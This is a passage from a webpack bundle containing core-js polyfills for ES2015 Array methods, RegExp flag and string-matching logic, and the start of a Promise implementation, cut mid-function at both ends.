, mapfn = aLen > 1 ? arguments[1] : undefined
, mapping = mapfn !== undefined
, index = 0
, iterFn = getIterFn(O)
, length, result, step, iterator;
if(mapping)mapfn = ctx(mapfn, aLen > 2 ? arguments[2] : undefined, 2);
// if object isn't iterable or it's array with default iterator - use simple case
if(iterFn != undefined && !(C == Array && isArrayIter(iterFn))){
for(iterator = iterFn.call(O), result = new C; !(step = iterator.next()).done; index++){
createProperty(result, index, mapping ? call(iterator, mapfn, [step.value, index], true) : step.value);
}
} else {
length = toLength(O.length);
for(result = new C(length); length > index; index++){
createProperty(result, index, mapping ? mapfn(O[index], index) : O[index]);
}
}
result.length = index;
return result;
}
});
/***/ },
/* 153 */
/***/ function(module, exports, __webpack_require__) {
// call something on iterator step with safe closing on error
var anObject = __webpack_require__(10);
module.exports = function(iterator, fn, value, entries){
try {
return entries ? fn(anObject(value)[0], value[1]) : fn(value);
// 7.4.6 IteratorClose(iterator, completion)
} catch(e){
var ret = iterator['return'];
if(ret !== undefined)anObject(ret.call(iterator));
throw e;
}
};
/***/ },
/* 154 */
/***/ function(module, exports, __webpack_require__) {
// check on default Array iterator
var Iterators = __webpack_require__(135)
, ITERATOR = __webpack_require__(23)('iterator')
, ArrayProto = Array.prototype;
module.exports = function(it){
return it !== undefined && (Iterators.Array === it || ArrayProto[ITERATOR] === it);
};
/***/ },
/* 155 */
/***/ function(module, exports, __webpack_require__) {
'use strict';
var $defineProperty = __webpack_require__(9)
, createDesc = __webpack_require__(15);
module.exports = function(object, index, value){
if(index in object)$defineProperty.f(object, index, createDesc(0, value));
else object[index] = value;
};
/***/ },
/* 156 */
/***/ function(module, exports, __webpack_require__) {
var classof = __webpack_require__(73)
, ITERATOR = __webpack_require__(23)('iterator')
, Iterators = __webpack_require__(135);
module.exports = __webpack_require__(7).getIteratorMethod = function(it){
if(it != undefined)return it[ITERATOR]
|| it['@@iterator']
|| Iterators[classof(it)];
};
/***/ },
/* 157 */
/***/ function(module, exports, __webpack_require__) {
var ITERATOR = __webpack_require__(23)('iterator')
, SAFE_CLOSING = false;
try {
var riter = [7][ITERATOR]();
riter['return'] = function(){ SAFE_CLOSING = true; };
Array.from(riter, function(){ throw 2; });
} catch(e){ /* empty */ }
module.exports = function(exec, skipClosing){
if(!skipClosing && !SAFE_CLOSING)return false;
var safe = false;
try {
var arr = [7]
, iter = arr[ITERATOR]();
iter.next = function(){ return {done: safe = true}; };
arr[ITERATOR] = function(){ return iter; };
exec(arr);
} catch(e){ /* empty */ }
return safe;
};
/***/ },
/* 158 */
/***/ function(module, exports, __webpack_require__) {
'use strict';
var $export = __webpack_require__(6)
, createProperty = __webpack_require__(155);
// WebKit Array.of isn't generic
$export($export.S + $export.F * __webpack_require__(5)(function(){
function F(){}
return !(Array.of.call(F) instanceof F);
}), 'Array', {
// 22.1.2.3 Array.of( ...items)
of: function of(/* ...args */){
var index = 0
, aLen = arguments.length
, result = new (typeof this == 'function' ? this : Array)(aLen);
while(aLen > index)createProperty(result, index, arguments[index++]);
result.length = aLen;
return result;
}
});
/***/ },
/* 159 */
/***/ function(module, exports, __webpack_require__) {
'use strict';
// 22.1.3.13 Array.prototype.join(separator)
var $export = __webpack_require__(6)
, toIObject = __webpack_require__(30)
, arrayJoin = [].join;
// fallback for not array-like strings
$export($export.P + $export.F * (__webpack_require__(31) != Object || !__webpack_require__(160)(arrayJoin)), 'Array', {
join: function join(separator){
return arrayJoin.call(toIObject(this), separator === undefined ? ',' : separator);
}
});
/***/ },
/* 160 */
/***/ function(module, exports, __webpack_require__) {
var fails = __webpack_require__(5);
module.exports = function(method, arg){
return !!method && fails(function(){
arg ? method.call(null, function(){}, 1) : method.call(null);
});
};
/***/ },
/* 161 */
/***/ function(module, exports, __webpack_require__) {
'use strict';
var $export = __webpack_require__(6)
, html = __webpack_require__(46)
, cof = __webpack_require__(32)
, toIndex = __webpack_require__(37)
, toLength = __webpack_require__(35)
, arraySlice = [].slice;
// fallback for not array-like ES3 strings and DOM objects
$export($export.P + $export.F * __webpack_require__(5)(function(){
if(html)arraySlice.call(html);
}), 'Array', {
slice: function slice(begin, end){
var len = toLength(this.length)
, klass = cof(this);
end = end === undefined ? len : end;
if(klass == 'Array')return arraySlice.call(this, begin, end);
var start = toIndex(begin, len)
, upTo = toIndex(end, len)
, size = toLength(upTo - start)
, cloned = Array(size)
, i = 0;
for(; i < size; i++)cloned[i] = klass == 'String'
? this.charAt(start + i)
: this[start + i];
return cloned;
}
});
/***/ },
/* 162 */
/***/ function(module, exports, __webpack_require__) {
'use strict';
var $export = __webpack_require__(6)
, aFunction = __webpack_require__(19)
, toObject = __webpack_require__(56)
, fails = __webpack_require__(5)
, $sort = [].sort
, test = [1, 2, 3];
$export($export.P + $export.F * (fails(function(){
// IE8-
test.sort(undefined);
}) || !fails(function(){
// V8 bug
test.sort(null);
// Old WebKit
}) || !__webpack_require__(160)($sort)), 'Array', {
// 22.1.3.25 Array.prototype.sort(comparefn)
sort: function sort(comparefn){
return comparefn === undefined
? $sort.call(toObject(this))
: $sort.call(toObject(this), aFunction(comparefn));
}
});
/***/ },
/* 163 */
/***/ function(module, exports, __webpack_require__) {
'use strict';
var $export = __webpack_require__(6)
, $forEach = __webpack_require__(164)(0)
, STRICT = __webpack_require__(160)([].forEach, true);
$export($export.P + $export.F * !STRICT, 'Array', {
// 22.1.3.10 / 15.4.4.18 Array.prototype.forEach(callbackfn [, thisArg])
forEach: function forEach(callbackfn /* , thisArg */){
return $forEach(this, callbackfn, arguments[1]);
}
});
/***/ },
/* 164 */
/***/ function(module, exports, __webpack_require__) {
// 0 -> Array#forEach
// 1 -> Array#map
// 2 -> Array#filter
// 3 -> Array#some
// 4 -> Array#every
// 5 -> Array#find
// 6 -> Array#findIndex
var ctx = __webpack_require__(18)
, IObject = __webpack_require__(31)
, toObject = __webpack_require__(56)
, toLength = __webpack_require__(35)
, asc = __webpack_require__(165);
module.exports = function(TYPE, $create){
var IS_MAP = TYPE == 1
, IS_FILTER = TYPE == 2
, IS_SOME = TYPE == 3
, IS_EVERY = TYPE == 4
, IS_FIND_INDEX = TYPE == 6
, NO_HOLES = TYPE == 5 || IS_FIND_INDEX
, create = $create || asc;
return function($this, callbackfn, that){
var O = toObject($this)
, self = IObject(O)
, f = ctx(callbackfn, that, 3)
, length = toLength(self.length)
, index = 0
, result = IS_MAP ? create($this, length) : IS_FILTER ? create($this, 0) : undefined
, val, res;
for(;length > index; index++)if(NO_HOLES || index in self){
val = self[index];
res = f(val, index, O);
if(TYPE){
if(IS_MAP)result[index] = res; // map
else if(res)switch(TYPE){
case 3: return true; // some
case 5: return val; // find
case 6: return index; // findIndex
case 2: result.push(val); // filter
} else if(IS_EVERY)return false; // every
}
}
return IS_FIND_INDEX ? -1 : IS_SOME || IS_EVERY ? IS_EVERY : result;
};
};
/***/ },
/* 165 */
/***/ function(module, exports, __webpack_require__) {
// 9.4.2.3 ArraySpeciesCreate(originalArray, length)
var speciesConstructor = __webpack_require__(166);
module.exports = function(original, length){
return new (speciesConstructor(original))(length);
};
/***/ },
/* 166 */
/***/ function(module, exports, __webpack_require__) {
var isObject = __webpack_require__(11)
, isArray = __webpack_require__(43)
, SPECIES = __webpack_require__(23)('species');
module.exports = function(original){
var C;
if(isArray(original)){
C = original.constructor;
// cross-realm fallback
if(typeof C == 'function' && (C === Array || isArray(C.prototype)))C = undefined;
if(isObject(C)){
C = C[SPECIES];
if(C === null)C = undefined;
}
} return C === undefined ? Array : C;
};
/***/ },
/* 167 */
/***/ function(module, exports, __webpack_require__) {
'use strict';
var $export = __webpack_require__(6)
, $map = __webpack_require__(164)(1);
$export($export.P + $export.F * !__webpack_require__(160)([].map, true), 'Array', {
// 22.1.3.15 / 15.4.4.19 Array.prototype.map(callbackfn [, thisArg])
map: function map(callbackfn /* , thisArg */){
return $map(this, callbackfn, arguments[1]);
}
});
/***/ },
/* 168 */
/***/ function(module, exports, __webpack_require__) {
'use strict';
var $export = __webpack_require__(6)
, $filter = __webpack_require__(164)(2);
$export($export.P + $export.F * !__webpack_require__(160)([].filter, true), 'Array', {
// 22.1.3.7 / 15.4.4.20 Array.prototype.filter(callbackfn [, thisArg])
filter: function filter(callbackfn /* , thisArg */){
return $filter(this, callbackfn, arguments[1]);
}
});
/***/ },
/* 169 */
/***/ function(module, exports, __webpack_require__) {
'use strict';
var $export = __webpack_require__(6)
, $some = __webpack_require__(164)(3);
$export($export.P + $export.F * !__webpack_require__(160)([].some, true), 'Array', {
// 22.1.3.23 / 15.4.4.17 Array.prototype.some(callbackfn [, thisArg])
some: function some(callbackfn /* , thisArg */){
return $some(this, callbackfn, arguments[1]);
}
});
/***/ },
/* 170 */
/***/ function(module, exports, __webpack_require__) {
'use strict';
var $export = __webpack_require__(6)
, $every = __webpack_require__(164)(4);
$export($export.P + $export.F * !__webpack_require__(160)([].every, true), 'Array', {
// 22.1.3.5 / 15.4.4.16 Array.prototype.every(callbackfn [, thisArg])
every: function every(callbackfn /* , thisArg */){
return $every(this, callbackfn, arguments[1]);
}
});
/***/ },
/* 171 */
/***/ function(module, exports, __webpack_require__) {
'use strict';
var $export = __webpack_require__(6)
, $reduce = __webpack_require__(172);
$export($export.P + $export.F * !__webpack_require__(160)([].reduce, true), 'Array', {
// 22.1.3.18 / 15.4.4.21 Array.prototype.reduce(callbackfn [, initialValue])
reduce: function reduce(callbackfn /* , initialValue */){
return $reduce(this, callbackfn, arguments.length, arguments[1], false);
}
});
/***/ },
/* 172 */
/***/ function(module, exports, __webpack_require__) {
var aFunction = __webpack_require__(19)
, toObject = __webpack_require__(56)
, IObject = __webpack_require__(31)
, toLength = __webpack_require__(35);
module.exports = function(that, callbackfn, aLen, memo, isRight){
aFunction(callbackfn);
var O = toObject(that)
, self = IObject(O)
, length = toLength(O.length)
, index = isRight ? length - 1 : 0
, i = isRight ? -1 : 1;
if(aLen < 2)for(;;){
if(index in self){
memo = self[index];
index += i;
break;
}
index += i;
if(isRight ? index < 0 : length <= index){
throw TypeError('Reduce of empty array with no initial value');
}
}
for(;isRight ? index >= 0 : length > index; index += i)if(index in self){
memo = callbackfn(memo, self[index], index, O);
}
return memo;
};
/***/ },
/* 173 */
/***/ function(module, exports, __webpack_require__) {
'use strict';
var $export = __webpack_require__(6)
, $reduce = __webpack_require__(172);
$export($export.P + $export.F * !__webpack_require__(160)([].reduceRight, true), 'Array', {
// 22.1.3.19 / 15.4.4.22 Array.prototype.reduceRight(callbackfn [, initialValue])
reduceRight: function reduceRight(callbackfn /* , initialValue */){
return $reduce(this, callbackfn, arguments.length, arguments[1], true);
}
});
/***/ },
/* 174 */
/***/ function(module, exports, __webpack_require__) {
'use strict';
var $export = __webpack_require__(6)
, $indexOf = __webpack_require__(34)(false)
, $native = [].indexOf
, NEGATIVE_ZERO = !!$native && 1 / [1].indexOf(1, -0) < 0;
$export($export.P + $export.F * (NEGATIVE_ZERO || !__webpack_require__(160)($native)), 'Array', {
// 22.1.3.11 / 15.4.4.14 Array.prototype.indexOf(searchElement [, fromIndex])
indexOf: function indexOf(searchElement /*, fromIndex = 0 */){
return NEGATIVE_ZERO
// convert -0 to +0
? $native.apply(this, arguments) || 0
: $indexOf(this, searchElement, arguments[1]);
}
});
/***/ },
/* 175 */
/***/ function(module, exports, __webpack_require__) {
'use strict';
var $export = __webpack_require__(6)
, toIObject = __webpack_require__(30)
, toInteger = __webpack_require__(36)
, toLength = __webpack_require__(35)
, $native = [].lastIndexOf
, NEGATIVE_ZERO = !!$native && 1 / [1].lastIndexOf(1, -0) < 0;
$export($export.P + $export.F * (NEGATIVE_ZERO || !__webpack_require__(160)($native)), 'Array', {
// 22.1.3.14 / 15.4.4.15 Array.prototype.lastIndexOf(searchElement [, fromIndex])
lastIndexOf: function lastIndexOf(searchElement /*, fromIndex = @[*-1] */){
// convert -0 to +0
if(NEGATIVE_ZERO)return $native.apply(this, arguments) || 0;
var O = toIObject(this)
, length = toLength(O.length)
, index = length - 1;
if(arguments.length > 1)index = Math.min(index, toInteger(arguments[1]));
if(index < 0)index = length + index;
for(;index >= 0; index--)if(index in O)if(O[index] === searchElement)return index || 0;
return -1;
}
});
/***/ },
/* 176 */
/***/ function(module, exports, __webpack_require__) {
// 22.1.3.3 Array.prototype.copyWithin(target, start, end = this.length)
var $export = __webpack_require__(6);
$export($export.P, 'Array', {copyWithin: __webpack_require__(177)});
__webpack_require__(178)('copyWithin');
/***/ },
/* 177 */
/***/ function(module, exports, __webpack_require__) {
// 22.1.3.3 Array.prototype.copyWithin(target, start, end = this.length)
'use strict';
var toObject = __webpack_require__(56)
, toIndex = __webpack_require__(37)
, toLength = __webpack_require__(35);
module.exports = [].copyWithin || function copyWithin(target/*= 0*/, start/*= 0, end = @length*/){
var O = toObject(this)
, len = toLength(O.length)
, to = toIndex(target, len)
, from = toIndex(start, len)
, end = arguments.length > 2 ? arguments[2] : undefined
, count = Math.min((end === undefined ? len : toIndex(end, len)) - from, len - to)
, inc = 1;
if(from < to && to < from + count){
inc = -1;
from += count - 1;
to += count - 1;
}
while(count-- > 0){
if(from in O)O[to] = O[from];
else delete O[to];
to += inc;
from += inc;
} return O;
};
/***/ },
/* 178 */
/***/ function(module, exports, __webpack_require__) {
// 22.1.3.31 Array.prototype[@@unscopables]
var UNSCOPABLES = __webpack_require__(23)('unscopables')
, ArrayProto = Array.prototype;
if(ArrayProto[UNSCOPABLES] == undefined)__webpack_require__(8)(ArrayProto, UNSCOPABLES, {});
module.exports = function(key){
ArrayProto[UNSCOPABLES][key] = true;
};
/***/ },
/* 179 */
/***/ function(module, exports, __webpack_require__) {
// 22.1.3.6 Array.prototype.fill(value, start = 0, end = this.length)
var $export = __webpack_require__(6);
$export($export.P, 'Array', {fill: __webpack_require__(180)});
__webpack_require__(178)('fill');
/***/ },
/* 180 */
/***/ function(module, exports, __webpack_require__) {
// 22.1.3.6 Array.prototype.fill(value, start = 0, end = this.length)
'use strict';
var toObject = __webpack_require__(56)
, toIndex = __webpack_require__(37)
, toLength = __webpack_require__(35);
module.exports = function fill(value /*, start = 0, end = @length */){
var O = toObject(this)
, length = toLength(O.length)
, aLen = arguments.length
, index = toIndex(aLen > 1 ? arguments[1] : undefined, length)
, end = aLen > 2 ? arguments[2] : undefined
, endPos = end === undefined ? length : toIndex(end, length);
while(endPos > index)O[index++] = value;
return O;
};
/***/ },
/* 181 */
/***/ function(module, exports, __webpack_require__) {
'use strict';
// 22.1.3.8 Array.prototype.find(predicate, thisArg = undefined)
var $export = __webpack_require__(6)
, $find = __webpack_require__(164)(5)
, KEY = 'find'
, forced = true;
// Shouldn't skip holes
if(KEY in [])Array(1)[KEY](function(){ forced = false; });
$export($export.P + $export.F * forced, 'Array', {
find: function find(callbackfn/*, that = undefined */){
return $find(this, callbackfn, arguments.length > 1 ? arguments[1] : undefined);
}
});
__webpack_require__(178)(KEY);
/***/ },
/* 182 */
/***/ function(module, exports, __webpack_require__) {
'use strict';
// 22.1.3.9 Array.prototype.findIndex(predicate, thisArg = undefined)
var $export = __webpack_require__(6)
, $find = __webpack_require__(164)(6)
, KEY = 'findIndex'
, forced = true;
// Shouldn't skip holes
if(KEY in [])Array(1)[KEY](function(){ forced = false; });
$export($export.P + $export.F * forced, 'Array', {
findIndex: function findIndex(callbackfn/*, that = undefined */){
return $find(this, callbackfn, arguments.length > 1 ? arguments[1] : undefined);
}
});
__webpack_require__(178)(KEY);
/***/ },
/* 183 */
/***/ function(module, exports, __webpack_require__) {
'use strict';
var addToUnscopables = __webpack_require__(178)
, step = __webpack_require__(184)
, Iterators = __webpack_require__(135)
, toIObject = __webpack_require__(30);
// 22.1.3.4 Array.prototype.entries()
// 22.1.3.13 Array.prototype.keys()
// 22.1.3.29 Array.prototype.values()
// 22.1.3.30 Array.prototype[@@iterator]()
module.exports = __webpack_require__(134)(Array, 'Array', function(iterated, kind){
this._t = toIObject(iterated); // target
this._i = 0; // next index
this._k = kind; // kind
// 22.1.5.2.1 %ArrayIteratorPrototype%.next()
}, function(){
var O = this._t
, kind = this._k
, index = this._i++;
if(!O || index >= O.length){
this._t = undefined;
return step(1);
}
if(kind == 'keys' )return step(0, index);
if(kind == 'values')return step(0, O[index]);
return step(0, [index, O[index]]);
}, 'values');
// argumentsList[@@iterator] is %ArrayProto_values% (9.4.4.6, 9.4.4.7)
Iterators.Arguments = Iterators.Array;
addToUnscopables('keys');
addToUnscopables('values');
addToUnscopables('entries');
/***/ },
/* 184 */
/***/ function(module, exports) {
module.exports = function(done, value){
return {value: value, done: !!done};
};
/***/ },
/* 185 */
/***/ function(module, exports, __webpack_require__) {
__webpack_require__(186)('Array');
/***/ },
/* 186 */
/***/ function(module, exports, __webpack_require__) {
'use strict';
var global = __webpack_require__(2)
, dP = __webpack_require__(9)
, DESCRIPTORS = __webpack_require__(4)
, SPECIES = __webpack_require__(23)('species');
module.exports = function(KEY){
var C = global[KEY];
if(DESCRIPTORS && C && !C[SPECIES])dP.f(C, SPECIES, {
configurable: true,
get: function(){ return this; }
});
};
/***/ },
/* 187 */
/***/ function(module, exports, __webpack_require__) {
var global = __webpack_require__(2)
, inheritIfRequired = __webpack_require__(80)
, dP = __webpack_require__(9).f
, gOPN = __webpack_require__(48).f
, isRegExp = __webpack_require__(128)
, $flags = __webpack_require__(188)
, $RegExp = global.RegExp
, Base = $RegExp
, proto = $RegExp.prototype
, re1 = /a/g
, re2 = /a/g
// "new" creates a new object, old webkit buggy here
, CORRECT_NEW = new $RegExp(re1) !== re1;
if(__webpack_require__(4) && (!CORRECT_NEW || __webpack_require__(5)(function(){
re2[__webpack_require__(23)('match')] = false;
// RegExp constructor can alter flags and IsRegExp works correct with @@match
return $RegExp(re1) != re1 || $RegExp(re2) == re2 || $RegExp(re1, 'i') != '/a/i';
}))){
$RegExp = function RegExp(p, f){
var tiRE = this instanceof $RegExp
, piRE = isRegExp(p)
, fiU = f === undefined;
return !tiRE && piRE && p.constructor === $RegExp && fiU ? p
: inheritIfRequired(CORRECT_NEW
? new Base(piRE && !fiU ? p.source : p, f)
: Base((piRE = p instanceof $RegExp) ? p.source : p, piRE && fiU ? $flags.call(p) : f)
, tiRE ? this : proto, $RegExp);
};
var proxy = function(key){
key in $RegExp || dP($RegExp, key, {
configurable: true,
get: function(){ return Base[key]; },
set: function(it){ Base[key] = it; }
});
};
for(var keys = gOPN(Base), i = 0; keys.length > i; )proxy(keys[i++]);
proto.constructor = $RegExp;
$RegExp.prototype = proto;
__webpack_require__(16)(global, 'RegExp', $RegExp);
}
__webpack_require__(186)('RegExp');
/***/ },
/* 188 */
/***/ function(module, exports, __webpack_require__) {
'use strict';
// 21.2.5.3 get RegExp.prototype.flags
var anObject = __webpack_require__(10);
module.exports = function(){
var that = anObject(this)
, result = '';
if(that.global) result += 'g';
if(that.ignoreCase) result += 'i';
if(that.multiline) result += 'm';
if(that.unicode) result += 'u';
if(that.sticky) result += 'y';
return result;
};
/***/ },
/* 189 */
/***/ function(module, exports, __webpack_require__) {
'use strict';
__webpack_require__(190);
var anObject = __webpack_require__(10)
, $flags = __webpack_require__(188)
, DESCRIPTORS = __webpack_require__(4)
, TO_STRING = 'toString'
, $toString = /./[TO_STRING];
var define = function(fn){
__webpack_require__(16)(RegExp.prototype, TO_STRING, fn, true);
};
// 21.2.5.14 RegExp.prototype.toString()
if(__webpack_require__(5)(function(){ return $toString.call({source: 'a', flags: 'b'}) != '/a/b'; })){
define(function toString(){
var R = anObject(this);
return '/'.concat(R.source, '/',
'flags' in R ? R.flags : !DESCRIPTORS && R instanceof RegExp ? $flags.call(R) : undefined);
});
// FF44- RegExp#toString has a wrong name
} else if($toString.name != TO_STRING){
define(function toString(){
return $toString.call(this);
});
}
/***/ },
/* 190 */
/***/ function(module, exports, __webpack_require__) {
// 21.2.5.3 get RegExp.prototype.flags()
if(__webpack_require__(4) && /./g.flags != 'g')__webpack_require__(9).f(RegExp.prototype, 'flags', {
configurable: true,
get: __webpack_require__(188)
});
/***/ },
/* 191 */
/***/ function(module, exports, __webpack_require__) {
// @@match logic
__webpack_require__(192)('match', 1, function(defined, MATCH, $match){
// 21.1.3.11 String.prototype.match(regexp)
return [function match(regexp){
'use strict';
var O = defined(this)
, fn = regexp == undefined ? undefined : regexp[MATCH];
return fn !== undefined ? fn.call(regexp, O) : new RegExp(regexp)[MATCH](String(O));
}, $match];
});
/***/ },
/* 192 */
/***/ function(module, exports, __webpack_require__) {
'use strict';
var hide = __webpack_require__(8)
, redefine = __webpack_require__(16)
, fails = __webpack_require__(5)
, defined = __webpack_require__(33)
, wks = __webpack_require__(23);
module.exports = function(KEY, length, exec){
var SYMBOL = wks(KEY)
, fns = exec(defined, SYMBOL, ''[KEY])
, strfn = fns[0]
, rxfn = fns[1];
if(fails(function(){
var O = {};
O[SYMBOL] = function(){ return 7; };
return ''[KEY](O) != 7;
})){
redefine(String.prototype, KEY, strfn);
hide(RegExp.prototype, SYMBOL, length == 2
// 21.2.5.8 RegExp.prototype[@@replace](string, replaceValue)
// 21.2.5.11 RegExp.prototype[@@split](string, limit)
? function(string, arg){ return rxfn.call(string, this, arg); }
// 21.2.5.6 RegExp.prototype[@@match](string)
// 21.2.5.9 RegExp.prototype[@@search](string)
: function(string){ return rxfn.call(string, this); }
);
}
};
/***/ },
/* 193 */
/***/ function(module, exports, __webpack_require__) {
// @@replace logic
__webpack_require__(192)('replace', 2, function(defined, REPLACE, $replace){
// 21.1.3.14 String.prototype.replace(searchValue, replaceValue)
return [function replace(searchValue, replaceValue){
'use strict';
var O = defined(this)
, fn = searchValue == undefined ? undefined : searchValue[REPLACE];
return fn !== undefined
? fn.call(searchValue, O, replaceValue)
: $replace.call(String(O), searchValue, replaceValue);
}, $replace];
});
/***/ },
/* 194 */
/***/ function(module, exports, __webpack_require__) {
// @@search logic
__webpack_require__(192)('search', 1, function(defined, SEARCH, $search){
// 21.1.3.15 String.prototype.search(regexp)
return [function search(regexp){
'use strict';
var O = defined(this)
, fn = regexp == undefined ? undefined : regexp[SEARCH];
return fn !== undefined ? fn.call(regexp, O) : new RegExp(regexp)[SEARCH](String(O));
}, $search];
});
/***/ },
/* 195 */
/***/ function(module, exports, __webpack_require__) {
// @@split logic
__webpack_require__(192)('split', 2, function(defined, SPLIT, $split){
'use strict';
var isRegExp = __webpack_require__(128)
, _split = $split
, $push = [].push
, $SPLIT = 'split'
, LENGTH = 'length'
, LAST_INDEX = 'lastIndex';
if(
'abbc'[$SPLIT](/(b)*/)[1] == 'c' ||
'test'[$SPLIT](/(?:)/, -1)[LENGTH] != 4 ||
'ab'[$SPLIT](/(?:ab)*/)[LENGTH] != 2 ||
'.'[$SPLIT](/(.?)(.?)/)[LENGTH] != 4 ||
'.'[$SPLIT](/()()/)[LENGTH] > 1 ||
''[$SPLIT](/.?/)[LENGTH]
){
var NPCG = /()??/.exec('')[1] === undefined; // nonparticipating capturing group
// based on es5-shim implementation, need to rework it
$split = function(separator, limit){
var string = String(this);
if(separator === undefined && limit === 0)return [];
// If `separator` is not a regex, use native split
if(!isRegExp(separator))return _split.call(string, separator, limit);
var output = [];
var flags = (separator.ignoreCase ? 'i' : '') +
(separator.multiline ? 'm' : '') +
(separator.unicode ? 'u' : '') +
(separator.sticky ? 'y' : '');
var lastLastIndex = 0;
var splitLimit = limit === undefined ? 4294967295 : limit >>> 0;
// Make `global` and avoid `lastIndex` issues by working with a copy
var separatorCopy = new RegExp(separator.source, flags + 'g');
var separator2, match, lastIndex, lastLength, i;
// Doesn't need flags gy, but they don't hurt
if(!NPCG)separator2 = new RegExp('^' + separatorCopy.source + '$(?!\\s)', flags);
while(match = separatorCopy.exec(string)){
// `separatorCopy.lastIndex` is not reliable cross-browser
lastIndex = match.index + match[0][LENGTH];
if(lastIndex > lastLastIndex){
output.push(string.slice(lastLastIndex, match.index));
// Fix browsers whose `exec` methods don't consistently return `undefined` for NPCG
if(!NPCG && match[LENGTH] > 1)match[0].replace(separator2, function(){
for(i = 1; i < arguments[LENGTH] - 2; i++)if(arguments[i] === undefined)match[i] = undefined;
});
if(match[LENGTH] > 1 && match.index < string[LENGTH])$push.apply(output, match.slice(1));
lastLength = match[0][LENGTH];
lastLastIndex = lastIndex;
if(output[LENGTH] >= splitLimit)break;
}
if(separatorCopy[LAST_INDEX] === match.index)separatorCopy[LAST_INDEX]++; // Avoid an infinite loop
}
if(lastLastIndex === string[LENGTH]){
if(lastLength || !separatorCopy.test(''))output.push('');
} else output.push(string.slice(lastLastIndex));
return output[LENGTH] > splitLimit ? output.slice(0, splitLimit) : output;
};
// Chakra, V8
} else if('0'[$SPLIT](undefined, 0)[LENGTH]){
$split = function(separator, limit){
return separator === undefined && limit === 0 ? [] : _split.call(this, separator, limit);
};
}
// 21.1.3.17 String.prototype.split(separator, limit)
return [function split(separator, limit){
var O = defined(this)
, fn = separator == undefined ? undefined : separator[SPLIT];
return fn !== undefined ? fn.call(separator, O, limit) : $split.call(String(O), separator, limit);
}, $split];
});
/***/ },
/* 196 */
/***/ function(module, exports, __webpack_require__) {
'use strict';
var LIBRARY = __webpack_require__(26)
, global = __webpack_require__(2)
, ctx = __webpack_require__(18)
, classof = __webpack_require__(73)
, $export = __webpack_require__(6)
, isObject = __webpack_require__(11)
, aFunction = __webpack_require__(19)
, anInstance = __webpack_require__(197)
, forOf = __webpack_require__(198)
, speciesConstructor = __webpack_require__(199)
, task = __webpack_require__(200).set
, microtask = __webpack_require__(201)()
, PROMISE = 'Promise'
, TypeError = global.TypeError
, process = global.process
, $Promise = global[PROMISE]
, process = global.process
, isNode = classof(process) == 'process'
, empty = function(){ /* empty */ }
, Internal, GenericPromiseCapability, Wrapper;
var USE_NATIVE = !!function(){
try {
// correct subclassing with @@species support
var promise = $Promise.resolve(1)
, FakePromise = (promise.constructor = {})[__webpack_require__(23)('species')] = function(exec){ exec(empty, empty); };
// unhandled rejections tracking support, NodeJS Promise without it fails @@species test
return (isNode || typeof PromiseRejectionEvent == 'function') && promise.then(empty) instanceof FakePromise;
} catch(e){ /* empty */ }
}();
// helpers
var sameConstructor = function(a, b){
// with library wrapper special case
return a === b || a === $Promise && b === Wrapper;
};
var isThenable = function(it){
var then;
return isObject(it) && typeof (then = it.then) == 'function' ? then : false;
};
var newPromiseCapability = function(C){
return sameConstructor($Promise, C)
? new PromiseCapability(C)
: new GenericPromiseCapability(C);
};
var PromiseCapability = GenericPromiseCapability = function(C){
var resolve, reject;
this.promise = new C(function($$resolve, $$reject){
if(resolve !== undefined || reject !== undefined)throw TypeError('Bad Promise constructor');
resolve = $$resolve;
reject = $$reject;
});
this.resolve = aFunction(resolve);
this.reject = aFunction(reject);
};
var perform = function(exec){
try {
exec();
} catch(e){
return {error: e};
}
};
var notify = function(promise, isReject){
if(promise._n)return;
promise._n = true;
var chain = promise._c;
microtask(function(){
var value = promise._v
, ok = promise._s == 1
, i = 0;
var run = function(reaction){
var handler = ok ? reaction.ok : reaction.fail
, resolve = reaction.resolve
, reject = reaction.reject
, domain = reaction.domain
, result, then;
try {
if(handler){
if(!ok){
if(promise._h == 2)onHandleUnhandled(promise);
promise._h = 1;
}
if(handler === true)result = value;
else {
if(domain)domain.enter();
result = handler(value);
if(domain)domain.exit();
}
if(result === reaction.promise){
reject(TypeError('Promise-chain cycle'));
} else if(then = isThenable(result)){
then.call(result, resolve, reject);
} else resolve(result);
} else reject(value);
} catch(e){
reject(e);
}
};
while(chain.length > i)run(chain[i++]); // variable length - can't use forEach
promise._c = [];
promise._n = false;
if(isReject && !promise._h)onUnhandled(promise);
});
};
var onUnhandled = function(promise){
task.call(global, function(){
var value = promise._v
, abrupt, handler, console;
if(isUnhandled(promise)){
abrupt = perform(function(){
if(isNode){
process.emit('unhandledRejection', value, promise);
} else if(handler = global.onunhandledrejection){
handler({promise: promise, reason: value});
} else if((console = global.console) && console.error){
console.error('Unhandled promise rejection', value);
}
});
// Browsers should not trigger `rejectionHandled` event if it was handled here, NodeJS - should
promise._h = isNode || isUnhandled(promise) ? 2 : 1;
} promise._a = undefined;
if(abrupt)throw abrupt.error;
});
};
var isUnhandled = function(promise){
if(promise._h == 1)return false;
var chain = promise._a || promise._c
, i = 0
, reaction;
while(chain.length > i){
reaction = chain[i++];
if(reaction.fail || !isUnhandled(reaction.promise))return false;
} return true;
};
var onHandleUnhandled = function(promise){
task.call(global, function(){
var handler;
if(isNode){
process.emit('rejectionHandled', promise);
} else if(handler = global.onrejectionhandled){
handler({promise: promise, reason: promise._v});
}
});
};
var $reject = function(value){
var promise = this;
if(promise._d)return;
promise._d = true;
promise = promise._w || promise; // unwrap
promise._v = value;
promise._s = 2;
if(!promise._a)promise._a = promise._c.slice();
notify(promise, true);
};
var $resolve = function(value){
var promise = this
, then;
if(promise._d)return;
promise._d = true;
promise = promise._w || promise; // unwrap
try {
if(promise === value)throw TypeError("Promise can't be resolved itself");
if(then = isThenable(value)){
microtask(function(){
var wrapper = {_w: promise, _d: false}; // wrap
try {
then.call(value, ctx($resolve, wrapper, 1), ctx($reject, wrapper, 1));
} catch(e){
$reject.call(wrapper, e);
}
});
} else {
promise._v = value;
promise._s = 1;
notify(promise, false);
}
} catch(e){
$reject.call({_w: promise, _d: false}, e); // wrap
}
};
// constructor polyfill
if(!USE_NATIVE){
// 25.4.3.1 Promise(executor)
$Promise = function Promise(executor){
anInstance(this, $Promise, PROMISE, '_h');
aFunction(executor);
Internal.call(this);
try {
executor(ctx($resolve, this, 1), ctx($reject, this, 1));
} catch(err){
$reject.call(this, err);
}
};
Internal = function Promise(executor){
this._c = []; // <- awaiting reactions
this._a = undefined; // <- checked in isUnhandled reactions
this._s = 0; // <- state
this._d = false; // <- done
this._v = undefined; // <- value
